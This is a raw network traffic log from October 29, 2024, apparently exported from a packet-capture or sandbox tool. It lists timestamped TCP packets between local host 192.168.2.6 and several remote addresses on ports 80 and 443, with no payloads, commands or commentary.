Oct 29, 2024 15:27:47.341155052 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.341162920 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.341182947 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.341190100 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.341203928 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.341204882 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.341211081 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.341223001 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.341233015 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.341248989 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.341269970 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.341304064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.341310024 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.341325045 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.341358900 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.341367960 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.341391087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.341398001 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.341437101 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.342475891 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342480898 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342495918 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342535973 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.342542887 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342550993 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342557907 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342565060 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342572927 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.342591047 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342613935 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342614889 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.342649937 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.342684984 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342693090 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342705011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342736959 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.342817068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342823029 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342837095 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342843056 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342849970 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342855930 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.342869043 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342876911 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342885017 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.342892885 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.342914104 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.342947006 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.343307972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.343375921 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.343410969 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.343416929 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.343429089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.343435049 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.343457937 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.343487024 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.343503952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.343509912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.343517065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.343528986 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.343533993 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.343548059 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.343556881 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.343564034 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.343594074 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.343712091 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.343717098 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.343758106 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.347706079 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.347779036 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.347796917 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.347841024 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.347878933 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.347894907 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.347894907 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.347963095 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.348249912 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.348268032 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.405744076 CET	443	49979	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.405771971 CET	443	49979	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.405783892 CET	443	49979	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.405853033 CET	49979	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.405884027 CET	443	49979	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.406007051 CET	49979	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.406126022 CET	443	49979	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.406200886 CET	443	49979	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.406292915 CET	49979	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.421499968 CET	443	49984	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.421796083 CET	443	49986	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.425158024 CET	443	49985	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.431374073 CET	49984	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.431382895 CET	443	49984	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.432020903 CET	443	49984	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.432823896 CET	49986	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.432851076 CET	443	49986	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.433408022 CET	49986	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.433413982 CET	443	49986	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.433660030 CET	49985	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.433680058 CET	443	49985	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.434127092 CET	49985	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.434133053 CET	443	49985	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.434675932 CET	49984	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.434890032 CET	443	49984	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.435023069 CET	443	49991	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.446643114 CET	49991	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.446670055 CET	443	49991	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.447137117 CET	49984	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.448379040 CET	443	49991	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.448441982 CET	49991	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.448833942 CET	49979	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.448862076 CET	443	49979	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.448873043 CET	49979	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.448961973 CET	49979	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.449779987 CET	49991	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.449857950 CET	443	49991	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.450305939 CET	49991	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.450314045 CET	443	49991	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.454354048 CET	443	49989	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.455471039 CET	49989	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.455483913 CET	443	49989	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.456433058 CET	443	49989	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.456511974 CET	49989	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.456912994 CET	49989	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.456937075 CET	443	49987	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.456970930 CET	443	49989	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.457099915 CET	49989	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.457108974 CET	443	49989	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.457273960 CET	49987	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.457317114 CET	443	49987	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.458554029 CET	443	49987	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.460233927 CET	443	49988	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.463644981 CET	49987	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.463808060 CET	49988	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.463825941 CET	443	49988	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.463850021 CET	443	49987	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.463900089 CET	49987	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.465287924 CET	443	49988	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.465354919 CET	49988	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.465725899 CET	49988	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.465806007 CET	443	49988	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.466919899 CET	49988	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.466928005 CET	443	49988	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.487366915 CET	443	49984	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.507350922 CET	443	49987	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.530200005 CET	49988	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.530201912 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.530220985 CET	49987	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.530299902 CET	49991	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.530299902 CET	49989	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.766304016 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.766323090 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.766334057 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.766345978 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.766359091 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.766371012 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.766374111 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.766397953 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.766401052 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.766423941 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.766443014 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.766989946 CET	443	49990	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.767575979 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.767591000 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.767618895 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.767620087 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.767632961 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.767649889 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.767657995 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.767667055 CET	443	49985	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.767671108 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.767672062 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.767709017 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.767709017 CET	443	49986	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.767723083 CET	443	49985	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.767733097 CET	443	49986	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.767734051 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.767776966 CET	49985	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.767805099 CET	443	49986	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.767811060 CET	49986	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.767868042 CET	443	49991	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.767889023 CET	443	49991	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.767962933 CET	49991	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.767971039 CET	443	49991	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.767987013 CET	49986	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.768026114 CET	49991	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.768923998 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.768933058 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.768944979 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.768950939 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.768956900 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.768963099 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.768969059 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.768975973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.768982887 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.768985033 CET	443	49984	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.768987894 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.768999100 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.769004107 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.769009113 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.769018888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.769021034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.769037962 CET	443	49984	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.769057035 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.769102097 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.769176006 CET	443	49984	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.769226074 CET	49984	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.769253016 CET	49984	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.769669056 CET	443	49987	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.769695044 CET	443	49987	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.769757032 CET	443	49987	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.769752979 CET	49987	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.769818068 CET	49987	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.769958019 CET	50001	443	192.168.2.6	23.198.7.184
Oct 29, 2024 15:27:47.769983053 CET	443	50001	23.198.7.184	192.168.2.6
Oct 29, 2024 15:27:47.770052910 CET	50001	443	192.168.2.6	23.198.7.184
Oct 29, 2024 15:27:47.770054102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770062923 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770075083 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770081043 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770086050 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770107031 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.770107985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770117044 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770128965 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770136118 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770139933 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.770143032 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770144939 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770152092 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770159960 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770164013 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.770199060 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.770253897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770262003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770267010 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770289898 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770297050 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770303011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770303011 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.770308971 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770315886 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770322084 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770323038 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.770329952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770335913 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770342112 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770348072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770354986 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.770355940 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770364046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770369053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770390987 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770394087 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.770397902 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770410061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770414114 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.770432949 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.770472050 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.770678043 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770690918 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770697117 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770703077 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770709038 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770715952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770746946 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.770828009 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.770845890 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770889997 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770890951 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.770895004 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770910025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770915985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770917892 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770921946 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770930052 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770936012 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770947933 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.770948887 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770955086 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770961046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770966053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770979881 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770987988 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.770992994 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.770999908 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771006107 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771018982 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771019936 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.771025896 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771032095 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771042109 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.771044970 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771051884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771056890 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771060944 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.771063089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771070957 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771076918 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771085978 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.771092892 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771143913 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.771143913 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.771239996 CET	49985	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.771246910 CET	443	49985	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.771258116 CET	49985	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.771261930 CET	443	49985	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.771442890 CET	50002	443	192.168.2.6	23.198.7.184
Oct 29, 2024 15:27:47.771461964 CET	443	50002	23.198.7.184	192.168.2.6
Oct 29, 2024 15:27:47.771513939 CET	50002	443	192.168.2.6	23.198.7.184
Oct 29, 2024 15:27:47.771564007 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771570921 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771583080 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771596909 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771604061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771610022 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771615982 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771622896 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771627903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771627903 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.771634102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771641016 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771646976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771656036 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771667004 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.771675110 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771682978 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771687984 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.771688938 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771698952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771711111 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.771722078 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771728992 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771734953 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771739960 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.771740913 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771754026 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771759987 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771765947 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771771908 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771773100 CET	49940	80	192.168.2.6	185.215.113.206
